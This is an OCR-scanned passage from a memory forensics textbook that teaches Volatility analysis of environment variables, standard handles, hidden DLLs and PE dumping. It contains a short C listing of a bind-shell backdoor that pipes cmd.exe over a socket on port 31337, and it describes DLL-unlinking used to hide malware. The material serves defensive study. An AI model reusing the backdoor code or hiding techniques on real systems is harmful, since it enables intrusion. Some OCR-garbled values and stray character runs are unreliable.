more than once. Thus, they programmed the DLL’s entry function to create a pseudo-
randomly generated string based on the parent process’ PID and the disk’s volume serial
number. The string was then added to the process’ environment variables by calling
SetEnvironmentVariable, if it didn’t already exist. Otherwise, the DLL unloaded immedi-
ately. A graph of the DLL’s entry function (produced by IDA Pro) is shown in Figure 8-2.
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Figure 8-2: A graph showing the functions called by Coreflood’s entry point
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An interesting riddle that we like to ask students in our training class is this: Based on
what you just learned, how many of the following processes are infected with Coreflood’s
DLL? Note that we are using Volatility’s envars plugin to enumerate the variables in a
memory dump.

$ python vol.py -f coreflood.img --profile=WinXPSP3x86 envars

kkkhkhkkkkkkhhhkkkhhhhhkkhhdhhkhkhkhhhhhkhkhkhdhhkkkhdrhkhkkkxx

Pid 1144 explorer.exe (PPid 644) Block at 0x10000
USERNAME=Administrator

USERPROFILE=C:\Documents and Settings\Administrator
VFTPXXPYVTAMF=EWONSYG

windir=C:\WINDOWS

[SNIP]

khkhkhkhkhkhkhkhhhkhhdhdhdhhdhdhdhhdhhhhhdhhhhkhkhhhkhkhkhkhkhkhkhkhkhkhkhkkxkx
Pid 512 IEXPLORE.EXE (PPid 1144) Block at 0x10000
ProgramFiles=C:\Program Files

QBYXKDAGXM=EWONSYG

SESSIONNAME=Console

USERDOMAIN=JAN-DF663B3DBF1

USERNAME=Administrator

USERPROFILE=C:\Documents and Settings\Administrator
VFTPXXPYVTAMF=EWONSYG

[SNIP]

RS SRS SRS S SRS RS RS RS SRR RS ESER RS E R R R EEEEEEEESES

Pid 560 notepad.exe (PPid 1144) Block at 0x10000
USERNAME=Administrator

USERPROFILE=C:\Documents and Settings\Administrator
VFTPXXPYVTAMF=EWONSYG

[SNIP]

Khkhkkhkhkhkhkhkkhkhkdkhkhkhkhkhhkhkhkhkhkhkhkhkhkdkhkhhkhkdkhkdhkhkdkhkdkhkhkhkrkdkhkkhkkdkx

Pid 220 firefox.exe (PPid 1144) Block at 0x10000
USERNAME=Administrator

USERPROFILE=C:\Documents and Settings\Administrator
VFTPXXPYVTAMF=EWONSYG

[SNIP]

If you answered “two,” you are correct. At first glance, it appears as if all four processes
are infected, because they all contain suspicious variable names. However, we previously
mentioned that child processes typically inherit their parent’s variables. We also said the
variable name depends on the PID of the process. If all four processes were infected, you'd
see four unique variable names; but you see only two (VFTPxxPYVTAMF and QBYXKDAGXM).
The last three processes (IEXPLORE. EXE, notepad.exe, and firefox.exe) were spawned
by PID 1144, which explains why they have a copy of the vrrpxxpyvTamr variable. You'll
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notice that 1EXPLORE. EXE actually has two variables: the one it inherited from its parent
and the one Coreflood calculated for its own PID.

NOTE

The --silent option to the envars plugin causes it to suppress known variables (based
on a hard-coded whitelist). This is handy in situations where a variable’s name or value
isn’t blatantly obvious; for example, like VFTPXXPYVTAMF.

Standard Handles

By analyzing a process’ standard handles, you can determine where it gets input and
where it sends output and error messages. This is especially useful when investigating
potential breaches by remote attackers. For example, a fairly common way to create a
backdoor command shell on a system involves spawning an instance of cmd. exe and
redirecting its standard handles over named pipes or network sockets. Thus, the attackers
can use telnet Or netcat to connect to the target machine (provided that no firewall is
blocking access), and type commands as if they were sitting at the console. The following
code shows the relevant C source code for a backdoor that uses this technique:

1 mySockAddr.sin family = PF INET;

2 mySockAddr.sin port = htons(31337);

3 mySockAddr.sin _addr.s_addr = htonl (INADDR_ANY) ;
4

5 if (bind(myMainSock, (SOCKADDR *)&mySockAddr,
6 sizeof (mySockAddr)) == SOCKET ERROR)

7 {

8 WSACleanup () ;

9 return(-1);
10 }
11
12 while(1) {
13 myCliSock = SOCKET ERROR;
14 while (myCliSock == SOCKET_ERROR) {

15 Sleep (1) ;

16 listen (myMainSock, SOMAXCONN) ;

17 ulSzSockAddr = sizeof (myCliSockAddr) ;
18 myCliSock = accept (myMainSock,

19 (SOCKADDR *) &myCliSockAddr,

20 (int *)&ulSzSockAddr) ;

21 }

22 memset (&mySi, 0, sizeof (mySi));

23 memset (&myPi, 0, sizeof (myPi));

24 mySi.wShowWindow = SW_HIDE;
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25 mySi.dwFlags = STARTF USESTDHANDLES |

26 STARTF USESHOWWINDOW;

27 mySi.hStdError = (VOID *)myCliSock;

28 mySi.hStdInput = (VOID *)myCliSock;

29 mySi.hStdOutput = (VOID *)myCliSock;

30 CreateProcess (0, wcsdup(L"cmd.exe"), 0, O,
31 1, // bInheritHandles = TRUE
32 0, 0, 0, &mySi, &myPi);

33 }

Lines 1-3 configure an IPv4 socket that will listen on all interfaces (INADDR_aNY) on
port 31337. Lines 5-10 bind the local address to the socket. The function then enters a
while loop (lines 12-33) that executes for as long as the process stays running. On lines
16-20, the program begins to listen on the port and calls accept to enter a state in which
it can receive client connections. After an incoming connection is received, it sets up the
specifications for the child cmd.exe process on line 25. In particular, it enables STARTF
USESTDHANDLES in the STANDARD INFORMATION block (mysi) and then sets the hstdgrror,
hstdInput, and hstdoutput values to the client socket (myclisock). Finally, on lines 30-32,
the cmd. exe instance is started. Note that bInheritHandles is set to 1, which means that
the child process inherits a copy of the parent’s handles (specifically for access to the
myCliSock socket handle).

At this point, any commands that the attackers type over the network are tunneled
straight into cmd . exe via its standard input. Results are passed back to the client over
standard output. If you're investigating the victim machine and see cmd . exe running, you
might not think anything of it. However, you'd be overlooking the one piece of evidence
that matters most. Take a look at how the standard handles appear for the process that is
involved in the backdoor activity:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 volshell

Volatility Foundation Volatility Framework 2.4

Current context: process System, pid=4, ppid=0 DTB=0x187000

To get help, type 'hh()'

>>> for proc in win32.tasks.pslist(self.addrspace):

if str(proc.ImageFileName) != "cmd.exe":
continue
if proc.Peb:
print proc.UniqueProcessId,\
hex (proc.Peb.ProcessParameters.StandardInput),\

hex (proc.Peb.ProcessParameters.StandardOutput), \
hex (proc.Peb.ProcessParameters.StandardError)

572 0x3L 0x7L O0xbL
3436 0x3L 0x7L 0xbL
564 0x3L 0x7L 0xbL
2160 0x68L 0x68L 0x68L



232 Partll: Windows Memory Forensics

Four instances of cmd.exe are running on the machine. The first three have normal
values for standard input (0x3), standard output (0x7), and standard error (0xb). The last
one, PID 2160, displays oxes for all handles. You can determine whether oxss corresponds
to a named pipe or network socket by using the handles plugin, as shown in the following
output. In Chapter 11, you'll learn that open handles to \Device\afd\Endpoint indicate
network activity (afd is the Auxiliary Function Driver for Winsock).

$ python vol.py -f memory.dmp --profile=Win7SP1x64 handles -p 2160 -t File
Volatility Foundation Volatility Framework 2.4

Offset (V) Pid Handle Type Details
0xfffffa80015c4070 2160 0xc File
\Device\HarddiskVolumel\Users\Elliot\Desktop

0xfffffa8002842130 2160 0x54 File \Device\Afd\Endpoint
Oxfffffa80014£f3af0 2160 0x68 File \Device\Afd\Endpoint

Although cmd.exe didn't create any sockets, it has access to them as a result of the
inheritance. You can determine the exact port the backdoor uses, as well as the remote end-
point if any connections are currently established, by first looking up the parent process
for cmd.exe and then listing its network information (see Chapter 11). You can complete
these two actions with the pstree and netscan plugins, as shown in the following output:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.4

Name Pid PPid Thds Hnds
[snip]
0xfffffa80011105€0 :memen.exe 1400 572 1 30
0xfffffa8002b42060:cmd. exe 2160 1400 1 25
0xfffffa8002827060:cmd.exe 3436 1408 1 25
0xfffffa8002be6b30: moby.exe 3036 3024 15 385

S python vol.py -f memory.dmp --profile=Win7SP1x64 netscan
Volatility Foundation Volatility Framework 2.4

Proto Local Address Foreign Address State Pid Owner
TCPv4 0.0.0.0:31337 0.0.0.0:0 LISTENING 1400 memen.exe
TCPv4 192.168.228.171:31337 <REDACTED>:59574 ESTABLISHED 1400 memen.exe

The parent of cmd. exe PID 2160 is memen. exe PID 1400. The parent has one listening IPv4
socket on port 31337 and one established connection (the remote endpoint is redacted).
This is an interesting example because the primary network activity maps back to the
parent process, but the child is the one actually being used to execute commands and
pass the results back to the attacker.
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Dynamic Link Libraries (DLLs)

DLLs contain code and resources that can be shared between multiple processes. Theyre
popular among malware and threat actors because DLLs are designed to run inside a
host process, thus giving them access to all of the process’ resources: its threads, handles,
and full range of process memory. Furthermore, DLLs allow toolkits to be modular and
extensible. At the very least, when analyzing DLLs, you should check for the following:

List discrepancies: As you’ll learn soon, adversaries try to hide their DLLs by
unlinking metadata structures from one or more lists or by overwriting the
name or path fields in the metadata structures. You can detect such attempts by
cross-referencing.
Unexpected name paths: Be aware of suspiciously named DLLs (such as sodapop . d11)
as well as familiar-looking names in nonstandard locations (i.e., c: \Windows\
system32\sys\kernel32.d11). We have also seen malware loading DLLs from sec-
tors outside the NTFS partition. For example, a TDL variant referenced a module
whose path started with \\ .\globalroot\Device\svchost .exe.
Context: DLLs such asws2_32.d11, crypt32.dl1, hnetcfg.dll, and pstorec.dll are
used for networking, cryptography, firewall maintenance, and access to protected
storage, respectively. They aren’t suspicious per se, but you have to consider the
purpose of the application in which they are loaded.

How DLLs Are Loaded
DLLs can be loaded in the following ways:

Dynamic linking: As part of the process initialization routines, any DLL in the
executable (.exe) file’s IAT automatically loads in the process” address space.
Dependencies: DLLs also have import tables, so when they’re loaded, all additional
DLLs on which they rely load into the process” address space. For more informa-
tion, see Dependency Walker (http : //www.dependencywalker. com/).

Run-time dynamic linking (RTDL): A thread can explicitly call LoadLibrary (or
the native LdrLoadp11) with the name of the DLL to load. This has the same end
result as dynamic linking (a DLL loaded in the process), except there’s no trace of
the DLL in the process’ IAT.

Injections: As you'll learn later in the chapter, DLLs can also be forcefully injected
into a target process.
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Enumerating DLLs on Live Systems

Your basic system investigation tools will have the capability to list DLLs. For example,
Process Hacker and Process Explorer both support it. Sysinternals also provides a com-
mand-line utility called 1istdlls (ht tp://technet.microsoft.com/en-us/sysinternals/
bb896656 . aspx). From a programming perspective, you can leverage the Windows API func-
tions createToolhelp32snapshot along with Module32First and Module32Next. Alternately,
another function, EnumProcessModules has been available since Windows XP.

The important part about these tools and the APIs on which they depend is where
they get the information. As presented in the data structures section of this chapter, three
linked lists of DLLs are accessible from the PEB. They store metadata about modules in the
order they were loaded and initialized, as well as where they exist in memory. Live APIs
and tools typically only look at the load order list. This presents attackers the opportunity
to manipulate and hide DLLs.

Hiding DLLs

As shown in Figure 8-3, because all three lists exist in process memory, any thread run-
ning in the process can unlink a metadata structure (_LDR_DATA_ TABLE_ENTRY) to hide it
from the running system (and potentially memory forensics as well). For example, once
loaded, the xyz.d11 module can overwrite its own Flink and Blink pointers so that its
entry is skipped during enumeration.

_EPROCESS
Peb
Kernel mode
PEB User mode
Ldr <
Y ntdll.dll xyz.dll kernel32.dll
-PEB_LDR_DATA LoadLinks LoadLinks LoadLinks
LoadOrderList I/'MemoryLinks <= MemoryLinks =2 MemoryLinks
MemoryOrderList InitLinks =2 InitLinks =] InitLinks
InitOrderList |
| _LDR_DATA_TABLE_ENTRY

Figure 8-3: A diagram showing how the PEB points to three doubly linked lists of DLLs
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Listing DLLs in Memory

The unlinking approach depicted in Figure 8-3 also affects Volatility’s d111ist plugin. We
designed d111ist like this for a reason. It enumerates DLLs by walking the load order list,
just like live APIs, because in some cases it’s good to see things from the perspective of
tools that run on the live system. Here’s an example output from a111ist. In our training
class, we typically ask students if they can spot anything suspicious. Can you?

S python vol.py -f mem.dmp --profile=WinXPSP3x86 dlllist -p 3108
notepad.exe pid: 3108

Command line : "C:\WINDOWS\system32\notepad.exe"
Service Pack 3

Base Size LoadCount Path

0x01000000 0x14000 Oxffff C:\WINDOWS\system32\notepad.exe
0x7¢900000 0xb2000 Oxffff C:\WINDOWS\system32\ntdll.dll
0x7c800000 0xf6000 oxffff C:\WINDOWS\system32\kernel32.dll
0x77dd0000 0x9b000 Oxffff C:\WINDOWS\system32\ADVAPI32.dll
0x77£e0000 0x11000 Oxffff C:\WINDOWS\system32\Secur32.dll
0x77¢10000 0x58000 Oxffff C:\WINDOWS\system32\msvert.dll
0x77£10000 0x49000 Oxffff C:\WINDOWS\SystemBZ\GDI32.dll
0x7e410000 0x91000 oxffff C:\WINDOWS\SyStem32\USER32.dll
0x7c9c0000 0x817000 Oxffff C:\WINDOWS\system32\SHELL32.d1ll
<snip>

0x7e1e0000 0xa2000 0x3 C:\WINDOWS\system32\urlmon.dll
0x771b0000 0xaa000 0x3 C:\WINDOWS\system32\WININET.dl1l
0x77a80000 0x95000 0x3 C:\WINDOWS\System32\CRYPT32.dll
0x71ab0000 0x17000 0x27 C:\WINDOWS\SyStem32\W52732.dll
0x71a50000 0x3£f000 0x4 C:\WINDOWS\system32\mswsock.dll
0x662b0000 0x58000 0x1 C:\WINDOWS\system32\hnetcfg.dll
0x76£20000 0x27000 0x1 C:\WINDOWS\system32\DNSAPI.dll

The process executable (notepad.exe) is first to load in the process address space,
thus it’s first in the load order list. Next, the ntd11.d11 and kernel32.d11 system librar-
ies are loaded. The system then proceeds to load any DLLs in Notepad’s IAT and any
dependency modules that those DLLs need. Note, however, that the load count for the
first batch of modules is oxf£££. Because this field is a short integer, oxf£££ is actually -1.
A load count of -1 means the DLL loaded because it was specified in an IAT. The others
near the end, whose load counts are 0x3, 0x27, ox4 and ox1, were all loaded via explicit
calls to LoadLibrary.

Although there are plenty of legitimate reasons to call LoadLibrary, its usage is also
consistent with the techniques shellcode uses to set up the target process” address space.
You may notice none of the explicitly loaded DLLs are suspicious per se—theyre all prop-
erly named and in the correct system32 path. However, when you consider their purpose
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(network related) and the host process context (notepad. exe), the situation begins to look
quite abnormal. Most likely code needing access to networking DLLs has infected this
process, and it loads them by calling LoadLibrary.

NOTE

The DLL layout is slightly different for WOW64 processes (32-bit applications on a
64-bit operating system). The three lists in the PEB only contain the DLLs that can
be accessed by the 32-bit application (i.e. those below MmHighestUseraddress) and the
WOW64 compatibility DLLs. For example, d111ist output for these processes looks
like this:

S python vol.py -f win764bit.raw --profile=Win7SP0x64 dlllist -p 2328
Volatility Foundation Volatility Framework 2.4

KA AR A A A A A A A AR A A A A A A A A A AR A A A Ak kkkkkkkhkkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhhhhhhhhdhd
iexplore.exe pid: 2328

Command line : "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
Note: use ldrmodules for listing DLLs in WOW64 processes

0x0000000001350000 0xa6000 Oxffff C:\Program Files (x86)\Internet
Explorer\iexplore.exe
0x0000000077520000 0x1ab000 Oxffff C:\Windows\SYSTEM32\ntdll.dll

0x0000000073b80000 0x3£000 0x3 C:\Windows\SYSTEM32\wow64.d1l
0x0000000073b20000 0x5c000 0x1 C:\Windows\SYSTEM32\wow64win.dll
0x0000000074€10000 0x8000 0x1 C:\Windows\SYSTEM32\wow64cpu.dll

The three WOW64 libraries (and ntd11.d11) contain the entry points for 32-bit appli-
cations and the necessary code to transition into 64-bit mode so the calling thread can
access DLLs in higher address regions. As the note tells you, you can use the 1drmodules
plugin (discussed in detail next) to enumerate DLLs in a WOW64 process—even those
not typically accessible to 32-bit applications.

For more information on these concepts, see WOW64 Implementation Details: http://

msdn.microsoft.com/en-us/library/windows/desktop/aa384274 (v=vs.85) .aspx.

Detecting Unlinked DLLs

The hiding technique shown in Figure 8-3 is relatively effective, despite being primitive
and very simple. There are more robust ways to hide DLLs that you’ll also encounter in
the wild. For example, if there are three lists, and malware hides from one, you can easily
cross-reference with the other two and see what’s missing. Thus, as far back as 2007 (see
http://www.openrce.org/blog/view/844/How_to_hide_dll)folksiniimfOﬁenShKECOHP
munity began unlinking DLLs from all three lists. All attackers had to do was include
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two to three extra lines of code that cut a metadata structure from the memory order and
initialization order lists as well.
Two methods can help you detect DLLs that are unlinked from all three lists:

PE file scanning: You can leverage techniques described in Chapter 7 to perform
a brute force scan through process memory, looking for all instances of PE files
(based on their known Mz header signatures). Remember, however, that the PE
headers are also in process memory, so the same body of code that unlinks the
DLL metadata structure can easily overwrite them.

VAD cross-referencing: This is the technique implemented by Volatility’s
ldrmodules plugin. If you recall from Chapter 7, VAD nodes contain full paths
on disk to files mapped into the regions—including DLL files. The unique aspect
of VADs is that they exist in kernel memory and attempts to manipulate the tree
(i.e., unlink a VAD node) or overwrite their file pointers quickly result in system
instability (blue screens).

The 1drmodules plugin first enumerates all VAD nodes that contain mapped executable
images. Specifically, it looks for large nodes with PAGE_EXECUTE_WRITECOPY protections, a
VadImageMap type, and the Image control flag set. It then compares the starting addresses
from the VAD nodes with the p11Base value from the 1LDR DATA TABLE ENTRY structures
found in process memory. Entries identified through the VAD that aren’t represented in
the DLL lists are potentially hidden. An example of the output from an infected 64-bit
Windows 7 sample follows:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 ldrmodules -p 616
Volatility Foundation Volatility Framework 2.4

Process Base InLoad InInit InMem MappedPath
svchost.exe 0x0000000074340000 True True True \Windows\
svchost.exe 0x00000000779a0000 True True True \Windows\
svchost.exe 0x000007feff570000 False False False \Windows)\
svchost.exe 0x0000000077780000 True True True \Windows\
svchost.exe 0x000007fefd990000 True True True \Windows\
svchost.exe 0x000007fefbbe0000 True True True \Windows\

[snip]\sfc.dll
[ ]
[ 1
[ ]
[ ]
[ ]
svchost.exe 0x000007fefdac0000 True True True \Windows\ [snip]\KernelBase.dll
[ ]
[ 1
[ ]
[ ]
[ ]
[ ]
[ ]

snip] \ntdll.dll
snip]\1lpkz2.d1l1l
snip] \kernel32.d1l1l
snip] \msasnl.dll
snip] \wtsapi32.dll

svchost.exe 0x000007fefcc00000 True True True \Windows)\
svchost.exe 0x000007fefb800000 True True True \Windows\
svchost.exe 0x000007fefcc20000 True True True \Windows\
svchost.exe 0x000007fefbd60000 True True True \Windows\
svchost.exe 0x000007feff460000 True True True \Windows\
svchost.exe 0x000007fefde70000 True True True \Windows\
svchost.exe 0x000007fef9290000 True True True \Windows)\
[snip]

svchost.exe 0x00000000££720000 True False True \Windows\ [snip]\svchost.exe

snip] \gpapi.dll
snip] \ntmarta.dll
snip] \userenv.dll
snip] \xmllite.dll
snip] \oleaut32.d11l
snip] \urlmon.dll
snip] \wscapi.dll
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svchost.exe 0x000007fefd8f0000 True True True \Windows\ [snip] \profapi.dll
svchost.exe 0x000007fefdd10000 True True True \Windows\ [snip]\uspl0.dll

1pkz2.d11 does not exist in any of the three DLL lists in process memory, but the VAD in
kernel memory has a record of it. You can also see its base address is 0x000007£e££570000,
which you can then pass to the d11dump plugin (introduced later in the chapter) to extract
it from memory.

Notice that the svchost . exe entry displays False in the InInit column (initialization
order list). This is an exception to the rule regarding the ability to detect unlinked DLLs
by cross-referencing data sources. You will never find the process executable (. exe) in
the initialization order list because the executable is initialized differently from all other
modules. In particular, it’s not a DLL, so there’s no p11Main function to be called.

WARNING

Malware has also been known to overwrite the Ful1D11Name and BaseD11Name members
of the LDR DATA TABLE_ENTRY structures, rather than unlinking the metadata structure.
McAfee reported a ZeroAccess variant behaving in this manner (see ZeroAccess Mis-
leadsAAenuﬂy-Fﬂe[jnk:http://blogs.mcafee.com/mcafee—labs/zeroaccess—misleads—
memory-£file-1link). In this case, live APIs on the system, in addition to Volatility’s
dillist plugin, would show a fake path of c: \windows\system32\n, but the VAD in ker-
nel memory would still contain the original path to the DLL. The -v/--verbose option
to 1drmodules will print the full paths from all sources, and you’ll see the discrepancy.

PE Files in Memory

One of the most useful features of Volatility is its capability to dump and rebuild PE files
(executables, DLLs, and kernel drivers). Because of changes that occur during program
execution, it is not likely that you will get an exact copy of the original binary—or even
one that runs on another machine. However, the dumped copy should be close enough
to the original so that you can disassemble the malware and determine its capabilities,
reverse any algorithms, and so forth. We are frequently asked whether it is possible to
dump an executable and compare its MD5 or SHA1 hash to the file on disk. Although it
may be possible to compare fuzzy hashes (e.g., the percentage similarity), cryptographic
hashes will never match because of the following:

IAT patching: The loader modifies a PE file’s IAT to contain the addresses of
API functions in process memory. The addresses are specific to the machine and
instance of the process from which the PE was extracted.
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Inaccessible sections: Not all PE sections are loaded into memory. For example,
in some cases, the resource section (. rsrc) might not be loaded until it’s needed.
Obviously, data never read into memory in the first place is not accessible when
you dump it.

Global variables: A PE file can define global variables or values in its read /write
data section that are modified during execution. Thus, when you dump the PE from
memory, you get the current values, not the uninitialized original ones.
Self-modifying code: Many PE files, especially malicious ones, modify their own
code at run time. For example, packed applications decompress and/or decrypt
instructions in memory.

Although you should be aware of these concepts, theyre not necessarily disadvantages
or caveats of memory analysis. In fact, some of them can actually play in your favor. For
example, one of the global variables may be an encryption key for command and control
traffic. Likewise, the PE file may be packed on disk, preventing you from statically ana-
lyzing it. By dumping the PE file from memory, you can recover data in the format that
most closely resembles the current state of the application.

NOTE

We don’t cover the internals of PE files in this book, but it’s very useful to know. For
a crash course, see the following classics by Matt Pietrek:

An In-Depth Look into the Windows Portable Executable File Format: http: / /msdn.microsoft
.com/en-us/magazine/cc301805.aspx.

Peering Inside the PE: A Tour of the Win32 Portable Executable File Format: http: //msdn

.microsoft.com/en-us/magazine/ms809762.aspx.

PE File Slack Space

Another reason why PE files dumped from memory often differ from the original file on
disk is because of slack space. The smallest page size on a typical x86 or x64 Windows
system is 4,096 bytes. Most PE files have sections that are not exact multiples of the small-
est page size. Figure 8-4 shows the effect that this has on reconstructing binaries from
memory. The . text section, which is not an exact multiple of 4,096, must fully exist in
memory marked as RX (read, execute), and the .data section must fully exist in memory
marked as RW (read, write). Because protections are applied at the page level (in other
words, if a page is marked as executable, all bytes in the page are executable), the two
sections must be separated after being loaded into memory. Otherwise, the beginning of
the .data section ends up being RX instead of RW.
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Original (on disk) In Memory Rebuilt (on disk)
PE Header . . PE Header
PE Header
text (RX) --- -- text (RX)
text
.data (RW) T T .data (RW)
.rdata (R) data .rdata (R)
--- .rdata -
Key:

---- page boundary . -

mmm unused space | ___________________.

Figure 8-4: A diagram showing how PE files expand in memory,
leaving slack space between sections

The dotted lines in Figure 8-4 indicate page boundaries, and the filled-in areas represent
slack space due to section sizes that are not multiples of the page size. In some cases, the
slack space contains just uninitialized data, making it irrelevant to your investigation.
However, the slack space can also contain critical evidence, especially when dealing with
packed files whose sections shift and change during decompression.

Parsing PE Headers in Memory

Volatility provides a few APIs that can help you parse PE headers in memory. Plugins
exist that wrap most of this functionality, so you don't need to perform these manual
steps. However, for those of you interested in how the PE-dumping plugins work behind
the scenes, and especially if you plan on developing your own tools that rely on simi-
lar functionality, the following tutorial will be useful. For example, a while back, we
wrote a custom plugin to find and automatically extract ZeroAccess binaries (http://mnin
.blogspot.com/2011/10/zerocaccess-volatility-and-kernel-timers. html) using the PE
dumping APIs.

The following example shows you how to use volshell to verify that the process’
claimed base address does in fact contain the signature of a DOS header:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 volshell -p 516

Volatility Foundation Volatility Framework 2.4

Current context: process lsass.exe, pid=516, ppid=400 DTB=0x19e6b000

To get help, type 'hh()'

>>> process = proc()

>>> db (process.Peb.ImageBaseAddress)

0xff080000 4d5a 9000 0300 0000 0400 0000 ff££f£f 0000 MZ..............
0xff080010 b800 0000 0000 0000 4000 0000 0000 0000  ........ @.......
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0x££080020 0000 0000 0000 0000 0000 0000 0000 0000  ...........o....
0x£f£080030 0000 0000 0000 0000 0000 0000 £000 0000  ................
0xff080040 0elf bale 00b4 09cd 21b8 0l4c cd2l 5468 P P PR o
0xff080050 6973 2070 726f 6772 616d 2063 6l6e 6e6f is.program.canno
0xf£f080060 7420 6265 2072 756e 2069 6e20 444f 5320 t.be.run.in.DOS.
0xf£f080070 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000 mode....$.......

The mz signature appears intact. The next step to validate the PE header format is to
follow the e_1fanew member to find the NT header. Instead of doing this by hand, you
can create an IMAGE DOS_ HEADER at the base address and then use the get _nt header
function. Here’s an example:

>>> process_space = process.get process address_space()

>>> dos_header = obj.Object (" IMAGE DOS HEADER",

offset = process.Peb.ImageBaseAddress,
vm = process_space)

>>> nt_header = dos_header.get nt header()

>>> db(nt_header.obj offset)

0xff0800f0 5045 0000 6486 0600 55cl 5b4a 0000 0000 PE..d...U.[J....
0xf£080100 0000 0000 £000 2200 0b02 0900 0028 0000  ...... "ol (..
0xff080110 0052 0000 0000 0000 5018 0000 0010 0000 RoLo P.o......
0xff080120 0000 08ff 0000 0000 0010 0000 0002 0000  ................

Now that you have an NT header, the following code shows how to print the name,
relative virtual address, and virtual size of each section. To compute the absolute address
of each section, just add the base address of the DOS header to the relative offset. For
example, you can find the . text section at 0x££080000 + 0x1000 = 0x££081000 for this
process:

>>> for sec in nt header.get sections():
print sec.Name, hex(sec.VirtualAddress), hex(sec.Misc.VirtualSize)

.text 0x1000L O0x26beL
.rdata 0x4000L 0x3a74L
.data 0x8000L 0x7a0L
.pdata 0x9000L 0x3e4L
.rsrc 0xa000L 0x700L
.reloc 0xb000L 0x1d4L

You should have a good idea of how the PE file contents are carved from memory at
this point. Nevertheless, to complete our example, here’s the code you can use to dump
a copy of each section to disk. You can optionally pass a parameter to get_image so it
preserves slack space; however, you will read more about that in the next section. Note
that after we finish writing data to the file (qumped.exe), we quit volshell and check the
output file’s type:

>>> outfile = open("dumped.exe", "wb")
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>>> for offset, code in dos header.get image():
outfile.seek(offset)
outfile.write(code)

>>> outfile.close()
>>> quit()

S file dumped.exe
dumped.exe: PE32+ executable for MS Windows (GUI)

NOTE

After you create the _IMAGE DOS_HEADER object in Volatility, you can also list its imported
or exported functions, print its version information, or perform a number of other actions
on a PE file. We don’t show code examples here, but you can see the pe_vtypes.py file
in the source for API usage.

PE Extraction Plugins

You've already seen the APIs and background for how Volatility extracts PE files from
memory. This section will show you some of the existing plugins (and the options they
take) that can automate the process. Here are their names and short descriptions:

procdump: Dump a process executable. You can identify the process by PID (--pid)
or the physical offset of its _EPROCESS (--offset). The latter option enables you to
dump processes hidden from the active process list.

dlldump: Dump a DLL. You can identify the host process by PID (--pid) or the
physical offset of its _EPROCESS (--offset). If the DLL(s) are in the load order list,
you can identify them using a regular expression (- -regex/--ignore-case) on their
name. Otherwise, you can refer to them by their base address in process memory
(- -base). The latter option enables you to dump hidden or injected PE files.
moddump: Dump a kernel module. Similar to d11dump, if the modules you want are
in the loaded modules list (see Chapter 13), you can identify them with regular
expressions. Otherwise, to dump a PE file from anywhere in kernel memory, use
the - -base parameter.

All the plugins require an output directory (--dump-dir) to write the extracted files.
They also all accept an optional - -memory parameter, which is how you request the slack
space between sections to be included in the output file. Thus, when you use - -memory,
the dumped file more closely resembles the PE as it existed in memory. A few examples
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of using these plugins follow. The first one shows how to extract all executables in the
active process list:

S python vol.py -f memory.dmp --profile=Win7SP1x64
procdump --dump-dir=OUTDIR/

Volatility Foundation Volatility Framework 2.4

ImageBase Name Result

—————————————————— System Error: PEB at 0x0 is unavailable
0x0000000047c50000 smss.exe OK: executable.256.exe
0x000000004a3e0000 csrss.exe OK: executable.348.exe
0x00000000f£9c0000 wininit.exe OK: executable.400.exe
0x000000004a3e0000 csrss.exe OK: executable.408.exe
0x00000000££fa10000 winlogon.exe OK: executable.444.exe

[snip]

It failed to extract the system process, but that’s normal—this process has no corre-
sponding executable. Notice the name of the output file is based on the PID of the process
(executable.PID.exe). Here’s another example showing how to extract a process that’s not
in the active process list based on the physical offset of its _EprocEss (which you can get
with psscan or psxview):

S python vol.py -f memory.dmp --profile=Win7SP1x64
procdump --offset=0x000000003ele6b30
—-dump-dir=OUTDIR/

Volatility Foundation Volatility Framework 2.4
Process (V) ImageBase Name Result

O0xfffffa8002be6b30 0x0000000000400000 warrant.exe OK: executable.3036.exe

The next command extracts any DLL from PID 1408 that has a name or path matching
the case-insensitive “crypt” string. The output files are named according to the PID and
physical offset of the host process and the base virtual address of the DLL (module.PID.
OFFSET.ADDRESS.d11):

S python vol.py -f memory.dmp --profile=Win7SP1x64
dlldump -p 1408 --regex=crypt
--ignore-case
--dump-dir=0UTDIR/

Volatility Foundation Volatility Framework 2.4

Name Module Base Module Name Result

explorer.exe 0x7fefd130000 CRYPTSP.dll module.1408.3e290b30.7£e£d130000.d11
explorer.exe 0x7fefc5c0000 CRYPTUI.d1l module.1408.3e290b30.7fefc5c0000.d11
explorer.exe 0x7fefd7e0000 CRYPTBASE.dll module.1408.3e290b30.7fefd7e0000.d11
explorer.exe 0x7fefdb30000 CRYPT32.dll module.1408.3e290b30.7fefdb30000.d11

243
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The regular expression option works only with DLLs in the PEB lists. You cannot dump
hidden or injected DLLs by name because often you don't have a name—only a base
address where the DOS header exists. In those cases, you can specify the - -base like this:

S python vol.py -f memory.dmp --profile=Win7SP1x64

dlldump -p 1148 --base=0x000007£e£7310000

- -dump-dir=OUTDIR/
- -memory

Volatility Foundation Volatility Framework 2.4

Name Module Base Module Name Result
spoolsv.exe 0x7fef7310000 UNKNOWN module.1148.3e79bb30.7£fef£7310000.d11
NOTE

This book doesn’t cover live analysis tools in detail, but it’s worth noting that the fol-
lowing tools can help you dump processes from running systems:
Sysinternals ProcDump and Process Explorer: http: //technet .microsoft . com/
en-us/sysinternals/dd996900.aspx
Process Hacker: http://processhacker. sourceforge .net

Caveats and Workarounds

One thing to note about these plugins is that they’re susceptible to attacks that manipulate
PE header values. For example, if the Mz or pE signature isn't found, they cannot properly
locate the sections. Furthermore, they also rely on the advertised section virtual addresses
and sizes, which malicious code can easily overwrite. If a section claims to be much larger
or smaller than it actually is, the output file will have either extraneous data or missing
data. Another reason why these plugins can fail is simply due to chance. If the page(s)
containing the PE header or section information are swapped to disk, the header valida-
tion routines fail.

If you encounter issues dumping PE files from process memory, whether it’s the pro-
cess executable or a DLL, you can always fall back to just dumping the containing VAD
region. If you remember from Chapter 7, the vaddump plugin produces a padded file to
maintain spatial integrity, and it does not know (or care) about the PE file format. This
enables you to still acquire the data even if it has been intentionally corrupted. However,
it might require manual fix-ups before it loads in external tools such as IDA Pro or PE
viewers. Another alternative is to use the dumpfiles plugin (see Chapter 16) that extracts
